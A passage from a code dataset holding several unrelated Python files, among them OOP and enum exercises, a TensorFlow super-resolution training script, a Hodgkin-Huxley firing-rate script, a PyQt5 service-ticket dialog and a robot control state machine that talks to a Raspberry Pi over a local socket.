Fib()\nprint(f[5:10])\n#rint(Fib[3])\nprint(f.homearr)\n\nclass Chain(object):\n def __init__(self,path=''):\n self._path =path\n def __getattr__(self,path):\n return Chain('%s/%s' % (self._path,path))\n def __str__(self):\n return self._path\n\nch = Chain()\nif callable(ch):\n print(ch.status.user.timeline.list())\nelse:\n print(ch.status.user.timeline.list)\n\nclass test_call(object):\n def __call__(self):\n return 'method object self'\ntc = test_call()\nprint(tc())\n\nclass dynamic_path():\n def __init__(self,path=''):\n self.__path=path\n def __call__(self,param):\n return dynamic_path(self.__path + '/' +param)\n def __getattr__(self,param):\n return dynamic_path('%s/%s' % (self.__path,param))\n def __str__(self):\n return self.__path\ndp = dynamic_path()\nprint(dp.dept('研发部').list)\n\n\n\n#枚举类\nMonth= Enum('Months',('Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'))\nprint(Month.Jan)\nfor name,member in Month.__members__.items():\n print(name,'=>',member,',',member.value)\n\n\n@unique\nclass Gender(Enum):\n woman =0\n man = 1\n\nclass Student_enum(object):\n def __init__(self,name,gender):\n self.__name =name\n self.__gender= gender\n @property\n def gender(self):\n return self.__gender\n\nstu1 = Student_enum('stu1', Gender.man) \nif(stu1.gender == Gender.man):\n print(\"男学生\")\nelse:\n print(\"女学生\")\n ","sub_path":"test/python_object_oriented_2.py","file_name":"python_object_oriented_2.py","file_ext":"py","file_size_in_byte":5678,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"247270992","text":"from __future__ import absolute_import, division, print_function, unicode_literals #maybe not need it's\r\nimport os\r\nimport tensorflow\r\nimport scipy.io\r\nimport numpy\r\nfrom tensorflow import keras #maybe not need it's\r\nfrom tensorflow.keras.models import Sequential\r\nfrom tensorflow.keras.layers import Dense, Conv2D\r\nfrom tensorflow.keras.models import load_model #maybe not need it's\r\nimport time\r\nimport matplotlib.pyplot as plt\r\nfrom matplotlib.backends.backend_pdf import PdfPages\r\ntensorflow.keras.backend.set_floatx('float32')\r\n\r\nimageDim = 510 \r\ndir = \"C:/Users/user/Desktop/Studies/Semester 8/myProject/super resolution/Super Resolution - Python/result_510X510_scale2/trainUpsampledImages\"\r\ntrainData = numpy.empty([1889, imageDim, imageDim], dtype=numpy.float32)\r\ni = 0\r\nfor file in os.listdir(dir):\r\n mat = scipy.io.loadmat(dir + \"/\" + file)['UpsampledImageDouble']\r\n mat = numpy.array([list(mat[i]) for i in range(0,len(mat))])\r\n trainData[i] = mat\r\n i += 1\r\n print(\"trainData - \" + file)\r\ntrainData = numpy.expand_dims(trainData, axis=3)\r\n\r\ndir = \"C:/Users/user/Desktop/Studies/Semester 8/myProject/super resolution/Super Resolution - Python/result_510X510_scale2/trainResidualImages\"\r\ntrainLabel = numpy.empty([1889, imageDim, imageDim], dtype=numpy.float32)\r\ni = 0\r\nfor file in os.listdir(dir):\r\n mat = scipy.io.loadmat(dir + \"/\" + file)['ResidualImageDouble']\r\n mat = numpy.array([list(mat[i]) for i in range(0,len(mat))])\r\n trainLabel[i] = mat\r\n i += 1\r\n print(\"trainLabel - \" + file)\r\ntrainLabel = numpy.expand_dims(trainLabel, axis=3)\r\n\r\ndir = \"C:/Users/user/Desktop/Studies/Semester 8/myProject/super resolution/Super Resolution - Python/result_510X510_scale2/validationUpsampledImages\"\r\nvalidationData = numpy.empty([473, imageDim, imageDim], dtype=numpy.float32)\r\ni = 0\r\nfor file in os.listdir(dir):\r\n mat = scipy.io.loadmat(dir + \"/\" + file)['UpsampledImageDouble']\r\n mat = numpy.array([list(mat[i]) for i in range(0,len(mat))])\r\n validationData[i] = mat\r\n i += 1\r\n print(\"validationData - \" + file)\r\nvalidationData = numpy.expand_dims(validationData, axis=3)\r\n\r\ndir = \"C:/Users/user/Desktop/Studies/Semester 8/myProject/super resolution/Super Resolution - Python/result_510X510_scale2/validationResidualImages\"\r\nvalidationLabel = numpy.empty([473, imageDim, imageDim], dtype=numpy.float32)\r\ni = 0\r\nfor file in os.listdir(dir):\r\n mat = scipy.io.loadmat(dir + \"/\" + file)['ResidualImageDouble']\r\n mat = numpy.array([list(mat[i]) for i in range(0,len(mat))])\r\n validationLabel[i] = mat\r\n i += 1\r\n print(\"validationLabel - \" + file)\r\nvalidationLabel = numpy.expand_dims(validationLabel, axis=3)\r\n \r\nWeightsForFirst = scipy.io.loadmat(\"C:/Users/user/Desktop/Studies/Semester 8/myProject/super resolution/Super Resolution - Python/result_510X510_scale2/H_and_Htrans_for_python_9x9.mat\")['H_new_dim']\r\nWeightsForLast = scipy.io.loadmat(\"C:/Users/user/Desktop/Studies/Semester 8/myProject/super resolution/Super Resolution - Python/result_510X510_scale2/H_and_Htrans_for_python_9x9.mat\")['H_trans_new_dim']\r\nWeightsForLast = numpy.expand_dims(WeightsForLast, axis=3)\r\n\r\nmodel = Sequential()\r\nmodel.add(Conv2D(81,(9,9),padding='same', input_shape=(imageDim,imageDim,1), weights=[WeightsForFirst,numpy.zeros(81,)], trainable=False))\r\nmodel.add(Conv2D(256,(1,1),activation='relu'))\r\nmodel.add(Conv2D(256,(1,1),activation='relu'))\r\nmodel.add(Conv2D(256,(1,1),activation='relu'))\r\nmodel.add(Conv2D(256,(1,1),activation='relu'))\r\nmodel.add(Conv2D(81,(1,1)))\r\nmodel.add(Conv2D(1,(9,9),padding='same', weights=[WeightsForLast,numpy.zeros(1,)], activation='tanh', trainable=False)) \r\nmodel.compile(optimizer='adam', loss='mse')\r\nprint(model.summary())\r\n\r\nnumOfEpochs = 15\r\ntrained_model = model.fit(trainData, trainLabel, validation_data=(validationData, validationLabel), epochs=numOfEpochs, batch_size=4)\r\n\r\nfig = plt.figure()\r\nmyTitle = \"Loss (Mean Squared Error) of NN\"\r\nplt.title(myTitle)\r\nplt.plot(range(numOfEpochs), [x for x in trained_model.history['loss']], \"-o\", label='train')\r\nplt.plot(range(numOfEpochs), [x for x in trained_model.history['val_loss']], \"-o\", label='validation')\r\nplt.xlabel('Epoch Number')\r\nplt.ylabel('loss')\r\nplt.legend()\r\nplt.grid()\r\nplt.show()\r\npdfName=\"PlotsResults.pdf\"\r\npdfFile = PdfPages(pdfName)\r\npdfFile.savefig(fig)\r\npdfFile.close()\r\nfileName = \"model.h5\"\r\nmodel.save(fileName)\r\nprint(\"Saved model to disk\")\r\n \r\n \r\n\r\n","sub_path":"SuperResolution/result_510X510_scale2/buildTheNetwork-adam,4layers,256-256-256-256,relu+endTanh/buildTheNetwork/buildTheNetwork.py","file_name":"buildTheNetwork.py","file_ext":"py","file_size_in_byte":4435,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"191386809","text":"# Assuming we already have the HH model as developed in class; i.e., [V,m,h,n,t] = HH(InputCurrent, TimeInMs)\n\nimport numpy as np\nimport matplotlib.pyplot as plt \nfrom scipy.signal import find_peaks #Peak finding algorithm I found online\n\nMinInput = 0 #Minimum input current to evaluate\nMaxInput = 100 #Maximum input current to evaluate\nT = 1000 #Time to run the model, in ms\nFI = np.zeros([MaxInput,1]) #Create empty vector to store results\n\nfor i in range(MinInput, MaxInput):\n [V,m,h,n,t] = HH(i,T) #Run the model for input current i and 200-ms\n peaks, _ = find_peaks(np.reshape(V, -1), height=-20) #Find peaks using someone else's function, -20 is threshold for definition of a peak\n FI[i] = np.shape(peaks) #Number of peaks in 200-ms\n \nCurrent = np.linspace(MinInput, MaxInput, num=MaxInput)\nplt.plot(Current, FI, 'k')\nplt.xlabel('Input current (uA/cm2)') \nplt.ylabel('Firing rate (Hz)') \nplt.title('F-I Curve for Hodgkin Huxley Model') \n","sub_path":"Week-5 Hodgkin-Huxley/FI Curve Solutions/Attempt_FI_Curve.py","file_name":"Attempt_FI_Curve.py","file_ext":"py","file_size_in_byte":988,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"3519961","text":"#!/usr/bin/env python\n\"\"\"\nRemoves all silent pause tokens, {SL}, from a text.\nReturns the text as a single string separated by spaces.\n\"\"\"\n\nclass RemoveSilence:\n def run(self, data):\n results = []\n for corpus in data:\n split_string = corpus.contents.split(\" \")\n temp_corpus = list(filter((\"{SL}\").__ne__, split_string))\n temp_corpus = list(filter((\"{sl}\").__ne__, temp_corpus))\n corpus.contents = \" \".join(temp_corpus)\n results.append(corpus)\n return results\n","sub_path":"linguine/ops/remove_silent_pauses.py","file_name":"remove_silent_pauses.py","file_ext":"py","file_size_in_byte":538,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"303249449","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\nfrom PyQt5.QtWidgets import QDialog, QLabel, QHBoxLayout, QVBoxLayout, QLineEdit, QTabWidget, QPushButton, \\\n QPlainTextEdit, QWidget, QToolButton, QDateTimeEdit, QMessageBox, QTextEdit, QDesktopWidget, QTableWidget, \\\n QComboBox, QApplication\nfrom PyQt5.QtCore import Qt\nfrom PyQt5.QtGui import QIcon, QFont\nimport datetime\n\nimport hardware\nimport html_maker\nimport parameters as gl\nimport process_save\nimport report_display\nimport smtpmail\nimport asterisk_interface\n\nimport data_sets\nimport liblogos\nimport qlib as qc\nimport sticky\nimport wizard_status\n\n\nclass Assistencia(QDialog):\n def __init__(self, last_proc_dict, unit_id, parent=None):\n super(Assistencia, self).__init__(parent)\n self.setWindowTitle('Assistencia')\n \n masterLayout = QHBoxLayout(self)\n self.mainLayout = QVBoxLayout()\n self.last_proc_dict = last_proc_dict\n self.clipboard = QApplication.clipboard()\n self.proc_internal_report = ''\n self.proc_type = 'ASS'\n self.facturar = False\n self.process_id = 0\n self.current_proc_data = []\n try:\n self.as_anterior = last_proc_dict['proc_montante']\n except KeyError:\n self.as_anterior = 0\n self.unit_dict = data_sets.unit_to_dic(unit_id)\n \n self.as_taberna = QLineEdit()\n self.as_taberna.setText(self.unit_dict['un_name'])\n self.as_taberna.setStyleSheet(\"background-color: #dbf3ff;\")\n self.as_taberna.setReadOnly(True)\n \n self.mainLayout.addLayout(qc.addHLayout(['Unidade', self.as_taberna, True], lw=100))\n \n self.tabuladorTabWidget = QTabWidget()\n \n self.mainLayout.addWidget(self.tabuladorTabWidget)\n \n self.make_tab_start()\n self.tabuladorTabWidget.addTab(self.tab1, 'Inicio')\n \n self.make_tab_end()\n self.tabuladorTabWidget.addTab(self.tab2, 'Termina')\n \n self.closeBtn = QPushButton('Sair')\n self.closeBtn.setMaximumWidth(50)\n self.closeBtn.clicked.connect(self.close_click)\n \n masterLayout.addLayout(self.mainLayout)\n \n self.assistencia_resolvidaBtn = QPushButton('Resolvido')\n self.assistencia_resolvidaBtn.clicked.connect(self.proc_close_click)\n \n self.assistencia_pendenteBtn = QPushButton('Fica Pendente')\n self.assistencia_pendenteBtn.clicked.connect(self.proc_pending_click)\n \n self.mainLayout.addLayout(\n qc.addHLayout([self.assistencia_resolvidaBtn, self.assistencia_pendenteBtn, self.closeBtn]))\n if gl.asterisk_stack_call == {}:\n pass\n else:\n self.as_data.setDateTime(gl.asterisk_stack_call['call_date'])\n self.as_contacto.setText(gl.asterisk_stack_call['call_number'])\n self.as_quem.setText(gl.asterisk_stack_call['call_who'])\n self.as_duracao.setDateTime(gl.asterisk_stack_call['call_time'])\n self.as_asterisk.setPlainText(gl.asterisk_stack_call['call_cdr'])\n gl.asterisk_stack_call = {}\n \n def make_tab_start(self):\n if gl.dos:\n font = QFont('courier new', 10)\n font.setWeight(80)\n font.setBold(False)\n else:\n font = QFont(\"Bitstream Vera Sans Mono\", 12)\n font.setWeight(80)\n font.setBold(False)\n self.tab1 = QWidget()\n mainTabLayout = QVBoxLayout(self.tab1)\n asterisk_log_btn = QToolButton()\n asterisk_log_btn.setToolTip('Relatório do Asterisk')\n asterisk_log_btn.setIcon(QIcon('.//img//asterisk.png'))\n asterisk_log_btn.clicked.connect(self.get_asterisk_data_click)\n self.as_quem = QLineEdit()\n self.as_contacto = QLineEdit()\n self.proc_origemBox = QComboBox()\n self.proc_origemBox.addItems(gl.proc_sources)\n \n self.lastProcBtn = QToolButton()\n self.lastProcBtn.setToolTip('Assistencia a Montante')\n self.lastProcBtn.setIcon(QIcon('.//img//last_proc.png'))\n self.lastProcBtn.setEnabled(False)\n self.lastProcBtn.clicked.connect(self.last_proc_show_click)\n \n self.procTypeCombo = QComboBox()\n self.procTypeCombo.addItems(gl.proc_type_show)\n self.procTypeCombo.currentTextChanged.connect(self.proc_type_change)\n \n self.as_nivel = QComboBox()\n self.as_nivel.addItems(['Normal', 'Urgente'])\n mainTabLayout.addLayout(qc.addHLayout(\n ['Nivel', self.as_nivel, 'Origem:', self.proc_origemBox, True, self.lastProcBtn, 'Tipo',\n self.procTypeCombo]))\n mainTabLayout.addLayout(\n qc.addHLayout(['Quem:', self.as_quem, 'Contacto:', self.as_contacto, asterisk_log_btn, True]))\n self.as_data = QDateTimeEdit()\n self.as_data.setCalendarPopup(True)\n self.as_data.setDisplayFormat(\"dd-MM-yyyy hh:mm\")\n self.as_data.setDateTime(datetime.datetime.now())\n self.as_data.dateTimeChanged.connect(self.start_date_change)\n \n self.as_duracao = QDateTimeEdit()\n self.as_duracao.setDisplayFormat(\"hh:mm\")\n self.as_duracao.dateTimeChanged.connect(self.duration_change)\n \n self.as_data_fim = QDateTimeEdit()\n self.as_data_fim.setCalendarPopup(True)\n self.as_data_fim.setDisplayFormat(\"dd.MMM.yyyy hh:mm\")\n self.as_data_fim.setDateTime(datetime.datetime.now())\n self.as_data.dateTimeChanged.connect(self.end_date_change)\n \n self.as_tecnico = QComboBox()\n self.as_tecnico.addItems(gl.ds_tecnicos)\n self.as_meio = QComboBox()\n self.as_meio.addItems(gl.ds_proc_meios)\n self.as_meio.setCurrentIndex(-1)\n self.as_meio.currentIndexChanged.connect(self.as_meio_change)\n \n mainTabLayout.addLayout(qc.addHLayout(['Inicio:', self.as_data, 'Duração:', self.as_duracao,\n 'Técnico:', self.as_tecnico, 'Meio', self.as_meio, True]))\n \n self.as_marcaemodelo = QLineEdit()\n self.as_marcaemodelo.setMinimumWidth(200)\n self.as_marcaemodelo.setReadOnly(True)\n self.as_marcaemodelo.setStyleSheet(\"background-color: #dbf3ff;\")\n self.as_ns = QLineEdit()\n self.as_ns.setReadOnly(True)\n self.as_ns.setStyleSheet(\"background-color: #dbf3ff;\")\n self.hardwareBtn = QToolButton()\n self.hardwareBtn.setToolTip('Equipamentos na Unidade')\n self.hardwareBtn.clicked.connect(self.hardware_in_unit)\n \n mainTabLayout.addLayout(qc.addHLayout(['Modelo:', self.as_marcaemodelo, 'N/S:', self.as_ns, self.hardwareBtn]))\n labelIssue = QLabel('Avaria/Sintoma/Problema')\n labelIssue.setStyleSheet(\"font-weight: bold; color: #FF0000;\")\n self.proc_reported = QTextEdit()\n self.proc_reported.setFont(font)\n self.proc_reported.setMinimumHeight(100)\n self.proc_reported.setMaximumHeight(100)\n \n paste_last_issue = QToolButton()\n paste_last_issue.setToolTip('Cola o relatório da ultima avaria/sintoma')\n paste_last_issue.setIcon(QIcon('.//img//paste.png'))\n paste_last_issue.clicked.connect(self.last_issue_paste)\n mainTabLayout.addLayout(qc.addHLayout([labelIssue, True, paste_last_issue]))\n mainTabLayout.addWidget(self.proc_reported)\n self.proc_cause_report = QTextEdit()\n self.proc_cause_report.setFont(font)\n self.proc_cause_report.setMinimumHeight(100)\n self.proc_cause_report.setMaximumHeight(100)\n labelCause = QLabel('Causa/Origem do problema')\n labelCause.setStyleSheet(\"font-weight: bold;color: #0066ff;\")\n paste_last_cause = QToolButton()\n paste_last_cause.setToolTip('Cola o relatório da ultima causa')\n paste_last_cause.setIcon(QIcon('.//img//paste.png'))\n paste_last_cause.clicked.connect(self.last_cause_paste)\n mainTabLayout.addLayout(qc.addHLayout([labelCause, True, paste_last_cause]))\n mainTabLayout.addWidget(self.proc_cause_report)\n self.proc_action_report = QTextEdit()\n self.proc_action_report.setFont(font)\n self.proc_action_report.setMinimumHeight(100)\n self.proc_action_report.setMaximumHeight(100)\n labelAction = QLabel('Acção')\n labelAction.setStyleSheet(\"font-weight: bold;color: #33cc33;\")\n paste_last_action = QToolButton()\n paste_last_action.setToolTip('Cola o relatório da ultima acção')\n paste_last_action.setIcon(QIcon('.//img//paste.png'))\n paste_last_action.clicked.connect(self.last_action_paste)\n internalReportTBtn = QToolButton()\n internalReportTBtn.setToolTip('Comentário/Relatório Interno')\n internalReportTBtn.setIcon(QIcon('.//img//sticky.png'))\n internalReportTBtn.clicked.connect(self.add_sticky_note)\n \n mainTabLayout.addLayout(qc.addHLayout([labelAction, True, internalReportTBtn, paste_last_action]))\n mainTabLayout.addWidget(self.proc_action_report)\n \n self.as_asterisk = QPlainTextEdit()\n self.as_asterisk.setMinimumHeight(30)\n self.as_asterisk.setMaximumHeight(30)\n font = QFont()\n font.setFamily(\"Monospace\")\n font.setWeight(60)\n self.as_asterisk.setFont(font)\n mainTabLayout.addWidget(self.as_asterisk)\n mainTabLayout.addStretch()\n try:\n if self.last_proc_dict['proc_id'] > 0:\n self.lastProcBtn.setEnabled(True)\n except KeyError:\n pass\n \n def make_tab_end(self):\n self.tab2 = QWidget()\n mainTabLayout = QVBoxLayout(self.tab2)\n self.as_debito = QLineEdit()\n self.as_debito.setAlignment(Qt.AlignLeft)\n \n mainTabLayout.addLayout(qc.addHLayout(['Meio', self.as_debito]))\n self.as_relatorio_factura = QTextEdit()\n self.as_relatorio_factura.setPlainText('')\n self.as_relatorio_factura.setMaximumHeight(100)\n mainTabLayout.addLayout(qc.addVLayout(['Relatório para Facturação', self.as_relatorio_factura, True]))\n self.as_meio_change(0)\n \n def hardware_in_unit(self):\n form = hardware.HardwareBrw(\n {'unit_id': self.unit_dict['un_id'], 'model_id': 0, 'un_name': self.unit_dict['un_name'],\n 'edit_mode': False})\n form.exec_()\n if form.ret == {}:\n pass\n else:\n self.as_marcaemodelo.setText(form.ret['brand'] + '/' + form.ret['model'])\n self.as_ns.setText(form.ret['serial_number'])\n \n def as_meio_change(self, id):\n if id == 0:\n self.as_debito.setText('FACTURAR DESLOCAÇÂO.')\n else:\n self.as_debito.setText('SEM CUSTOS.')\n \n def set_invoice_status(self):\n id = self.as_meio.currentIndex()\n if id == 0:\n self.facturar = True\n else:\n if self.as_relatorio_factura.toPlainText() == '':\n self.facturar = False\n else:\n self.facturar = True\n \n def close_click(self):\n self.close()\n \n def proc_close_click(self):\n \"\"\"fecha\"\"\"\n error = self.valida_campos()\n if error == []:\n self.as_status = 'Resolvido'\n self.pendente = False\n self.set_invoice_status()\n # grava\n self.ass_jusante = 0 # fechou\n self.grava_pedido()\n smtpmail.send_process_mail(self.process_id)\n liblogos.log_actions(gl.user_dict, 'proc close', 'pedido #' + str(self.process_id))\n self.close()\n else:\n self.show_error(error)\n \n def proc_pending_click(self):\n \"\"\" pendente\"\"\"\n error = self.valida_campos(close_proc=False)\n if not error:\n # 'grava'\n form = wizard_status.SetPendingStatus()\n form.exec_()\n if form.toto == -1:\n pass\n else:\n self.as_status = form.toto\n self.pendente = True\n self.ass_jusante = -1 # não fechou\n self.as_debito.setText('SEM CUSTOS.')\n if self.proc_type == 'INFO':\n self.facturar = False\n self.grava_pedido()\n smtpmail.send_process_mail(self.process_id)\n liblogos.log_actions(gl.user_dict, 'ticket pending', 'pedido #' + str(self.process_id))\n # self.send_sms()\n self.close()\n else:\n self.show_error(error)\n \n def grava_pedido(self):\n data_dict = {'proc_date': self.as_data.dateTime().toPyDateTime(), 'proc_updated': datetime.datetime.now(),\n 'proc_unit_id': self.unit_dict['un_id'], 'proc_tecnico': self.as_tecnico.currentText(),\n 'proc_reported': self.proc_reported.toPlainText(),\n 'proc_cause_report': self.proc_cause_report.toPlainText(),\n 'proc_action_report': self.proc_action_report.toPlainText(),\n 'proc_serial_number': self.as_ns.text(),\n 'proc_report_invoice': self.as_debito.text() + ' ' + self.as_relatorio_factura.toPlainText(),\n 'proc_quem': self.as_quem.text(),\n 'proc_model': self.as_marcaemodelo.text(),\n 'proc_contacto': self.as_contacto.text(),\n 'proc_meio': self.as_meio.currentText(),\n 'proc_unit_name': self.unit_dict['un_name'],\n 'proc_internal_report': self.proc_internal_report,\n 'proc_montante': self.as_anterior,\n 'proc_jusante': self.ass_jusante,\n 'proc_asterisk': self.as_asterisk.toPlainText(),\n 'proc_status': self.as_status,\n 'proc_nivel': self.as_nivel.currentText(),\n 'proc_facturar': self.facturar,\n 'proc_pendente': self.pendente,\n 'proc_facturado': False,\n 'proc_data_fim': self.as_data_fim.dateTime().toPyDateTime(),\n 'proc_duracao': str(self.as_duracao.dateTime().toPyDateTime().hour) + ':' + str(\n self.as_duracao.dateTime().toPyDateTime().minute),\n 'proc_type': self.proc_type,\n 'proc_source': self.proc_origemBox.currentText()\n }\n process_save.ticket(data_dict)\n self.process_id = gl.current_proc_data[0]\n \n def valida_campos(self, close_proc=True):\n error_list = []\n \n \"\"\" limpa as linhas vazias\"\"\"\n self.proc_reported.setText(\n \"\\n\".join([ll.rstrip() for ll in self.proc_reported.toPlainText().splitlines() if ll.strip()]))\n self.proc_cause_report.setText(\n \"\\n\".join([ll.rstrip() for ll in self.proc_cause_report.toPlainText().splitlines() if ll.strip()]))\n self.proc_action_report.setText(\n \"\\n\".join([ll.rstrip() for ll in self.proc_action_report.toPlainText().splitlines() if ll.strip()]))\n \n if close_proc and self.proc_type in 'ASS':\n if self.proc_reported.toPlainText() == '':\n error_list.append('Falta Problema/Sintoma!')\n if self.proc_action_report.toPlainText() == '':\n error_list.append('Falta a Acção!')\n elif not close_proc and self.proc_type in 'ASS':\n if self.proc_reported.toPlainText() == '':\n error_list.append('Falta o Problema reportado!')\n if self.proc_type == 'INFO':\n if self.proc_internal_report == '':\n error_list.append('Como é uma INFORmação\\n tem de ter comentário interno.')\n if self.proc_type == 'INT':\n if self.proc_action_report.toPlainText() == '':\n error_list.append('A Falta a Acção!')\n \n \"\"\" mandatórios \"\"\"\n if not self.check_obj(self.as_quem):\n error_list.append('Falta responsavel!')\n if self.proc_origemBox.currentIndex() == 0:\n error_list.append('Falta a origem')\n if self.as_tecnico.currentIndex() == 0:\n error_list.append('Falta o Técnico')\n if self.as_duracao.time().minute() < 1 and self.as_duracao.time().hour() == 0:\n error_list.append('Ninguem faz nada em menos de um minuto')\n \n if self.as_meio.currentIndex() == -1:\n error_list.append('Falta o meio de actuação.')\n \n return error_list\n \n def duration_change(self, ti):\n d = self.as_data.dateTime().toPyDateTime()\n \n def start_date_change(self, ti):\n d = self.as_data.dateTime().toPyDateTime()\n \n def end_date_change(self, ti):\n dum = self.as_data_fim.dateTime().toPyDateTime() - self.as_data.dateTime().toPyDateTime()\n \n def copy_to_master(self):\n self.as_relatorio_master.setPlainText(self.proc_cause_report.toPlainText())\n \n def copy_to_client(self):\n self.as_relatorio_cliente.setPlainText(self.proc_cause_report.toPlainText())\n \n def show_error(self, error_list):\n QMessageBox.critical(None, \"Faltam os seguintes dados\", '\\n'.join(error_list))\n gl.error_list = []\n \n def add_sticky_note(self):\n form = sticky.StickyNote(self.proc_internal_report)\n form.exec_()\n if form.ret[0]:\n self.proc_internal_report = form.ret[1]\n \n def tab_process(self, e):\n if e.key() == Qt.Key_Return:\n print(' return')\n elif e.key() == Qt.Key_Enter:\n print(' enter')\n \n def last_issue_paste(self):\n try:\n if self.last_proc_dict['proc_reported'] != '':\n self.proc_reported.setPlainText(comment_string(self.last_proc_dict['proc_reported']))\n except KeyError:\n pass\n \n def last_cause_paste(self):\n try:\n if self.last_proc_dict['proc_cause_report'] != '':\n self.proc_cause_report.setPlainText(comment_string(self.last_proc_dict['proc_cause_report']))\n except KeyError:\n pass\n \n def last_action_paste(self):\n try:\n if self.last_proc_dict['proc_action_report'] != '':\n self.proc_action_report.setPlainText(comment_string(self.last_proc_dict['proc_action_report']))\n except KeyError:\n pass\n \n def get_asterisk_data_click(self):\n form = asterisk_interface.AsteriskInterface()\n form.exec_()\n try:\n if form.toto['call_number'] == '':\n pass\n else:\n self.as_data.setDateTime(form.toto['call_date'])\n self.as_data_fim.setDateTime(form.toto['call_date'])\n self.as_contacto.setText(form.toto['call_number'])\n try:\n self.as_quem.setText(form.toto['call_who'])\n except KeyError:\n self.as_quem.setText('')\n \n self.as_duracao.setDateTime(form.toto['call_time'])\n self.as_asterisk.setPlainText(form.toto['call_cdr'])\n except KeyError:\n pass\n \n def last_proc_show_click(self):\n proc_dict = data_sets.process_to_dict(self.last_proc_dict['proc_id'])\n proc_html = html_maker.process_to_html(proc_dict)\n form = report_display.DisplayReport(proc_html)\n form.exec_()\n \n def proc_type_change(self, t):\n if t == 'INFO':\n self.proc_type = 'INFO'\n self.as_nivel.setEnabled(False)\n self.proc_reported.setEnabled(False)\n self.proc_cause_report.setEnabled(False)\n self.proc_action_report.setEnabled(False)\n self.assistencia_pendenteBtn.setEnabled(False)\n self.hardwareBtn.setEnabled(False)\n self.lastProcBtn.setEnabled(False)\n self.add_sticky_note()\n elif t == 'INT':\n self.proc_type = 'INT'\n self.proc_origemBox.setCurrentText('Interna')\n self.as_quem.setText(gl.user_dict['user_name'])\n self.as_contacto.setText('pessoal')\n self.as_meio.setCurrentText('Telemanutenção')\n self.as_tecnico.setCurrentText(gl.user_dict['user_name'].title())\n else:\n self.proc_type = 'ASS'\n self.as_nivel.setEnabled(True)\n self.proc_reported.setEnabled(True)\n self.proc_cause_report.setEnabled(True)\n self.proc_action_report.setEnabled(True)\n self.assistencia_pendenteBtn.setEnabled(True)\n self.hardwareBtn.setEnabled(True)\n self.lastProcBtn.setEnabled(True)\n \n def center(self):\n qr = self.frameGeometry()\n cp = QDesktopWidget().availableGeometry().center()\n qr.moveCenter(cp)\n self.move(qr.topLeft())\n \n def check_obj(self, obj):\n if type(obj) == QLineEdit:\n if obj.text() == '':\n return False\n else:\n return True\n if type(obj) == QPlainTextEdit:\n if obj.toPlainText() == '':\n return False\n else:\n return True\n\n\ndef comment_string(input_string):\n input_list = input_string.split('\\n')\n out_string = ''\n for n in input_list:\n if len(n) > 0:\n out_string += '\\u27A4' + n + '\\n'\n return out_string\n\n\nif __name__ == '__main__':\n pass\n","sub_path":"assistencia.py","file_name":"assistencia.py","file_ext":"py","file_size_in_byte":21463,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"28201031","text":"\"\"\"\nHayden Liao && Maximilian Puglielli\nFebruary 24th, 2020 @ 14:20\nCS-425-A: Introduction to Robotics\nLab #3: Computer Vision\n\"\"\"\n\nimport socket\nfrom time import *\nfrom pynput import keyboard\nimport sys\nimport threading\nimport enum\nimport urllib.request\nimport cv2\nimport numpy\nimport copy\n\nsocketLock = threading.Lock()\nimageLock = threading.Lock()\n\n# SET THIS TO THE RASPBERRY PI's IP ADDRESS\nIP_ADDRESS = \"192.168.1.103\"\n\nclass States(enum.Enum):\n\tLISTEN = enum.auto()\n\tSEARCH = enum.auto()\n\tSTRAFE_RIGHT = enum.auto()\n\tSTRAFE_LEFT = enum.auto()\n\tFORWARD = enum.auto()\n\n\nclass StateMachine(threading.Thread):\n\n\tdef __init__(self):\n\t\t# NOTE: MUST call this to make sure we setup the thread correctly\n\t\tthreading.Thread.__init__(self)\n\t\t# CONFIGURATION PARAMETERS\n\t\tglobal IP_ADDRESS\n\t\tself.IP_ADDRESS = IP_ADDRESS\n\t\tself.CONTROLLER_PORT = 5001\n\t\tself.TIMEOUT = 10 # If its unable to connect after 10 seconds, give up. Want this to be a while so robot can init.\n\t\tself.STATE = States.SEARCH\n\t\tself.RUNNING = True\n\t\tself.DIST = False\n\t\tself.video = ImageProc()\n\t\t# START VIDEO\n\t\tself.video.start()\n\n\t\t# CONNECT TO THE MOTORCONTROLLER\n\t\ttry:\n\t\t\twith socketLock:\n\t\t\t\tself.sock = socket.create_connection( (self.IP_ADDRESS, self.CONTROLLER_PORT), self.TIMEOUT)\n\t\t\t\tself.sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)\n\t\t\tprint(\"Connected to RP\")\n\t\texcept Exception as e:\n\t\t\tprint(\"ERROR with socket connection\", e)\n\t\t\tsys.exit(0)\n\n\t\t# CONNECT TO THE ROBOT\n\t\t\"\"\" The i command will initialize the robot. It enters the create into FULL mode which means it can drive off tables and over steps: be careful!\"\"\"\n\t\twith socketLock:\n\t\t\tself.sock.sendall(\"i /dev/ttyUSB0\".encode())\n\t\t\tprint(\"Sent command\")\n\t\t\tresult = self.sock.recv(128)\n\t\t\tprint(result)\n\t\t\tif result.decode() != \"i /dev/ttyUSB0\":\n\t\t\t\tself.RUNNING = False\n\n\t\tself.sensors = Sensing(self.sock)\n\t\t# START READING DATA\n\t\tself.sensors.start()\n\n\t\t# COLLECT EVENTS UNTIL RELEASED\n\t\tself.listener = keyboard.Listener(on_press=self.on_press, on_release=self.on_release)\n\t\tself.listener.start()\n\n\t# BEGINNING OF THE CONTROL LOOP\n\tdef run(self):\n\t\twhile(self.RUNNING):\n\t\t\tsleep(0.1)\n\t\t\tif self.STATE == States.LISTEN:\n\t\t\t\tpass\n\t\t\tif self.STATE == States.SEARCH:\n\t\t\t\t# ball_found = False\n\t\t\t\tfor i in range(10):\n\t\t\t\t\ti = i+1\n\t\t\t\t\tpass\n\t\t\t\t\t#turn left a bit\n\t\t\t\t\t#scan\n\t\t\t\t\t#if ball found\n\t\t\t\t\t\t# ball_found = true\n\t\t\t\t\t\t# break\n\t\t\t\t#beep because ball not found\n\t\t\t\t#_____Running = false;\n\n\t\t\tif self.STATE == States.FORWARD:\n\t\t\t\tprint(\"State: 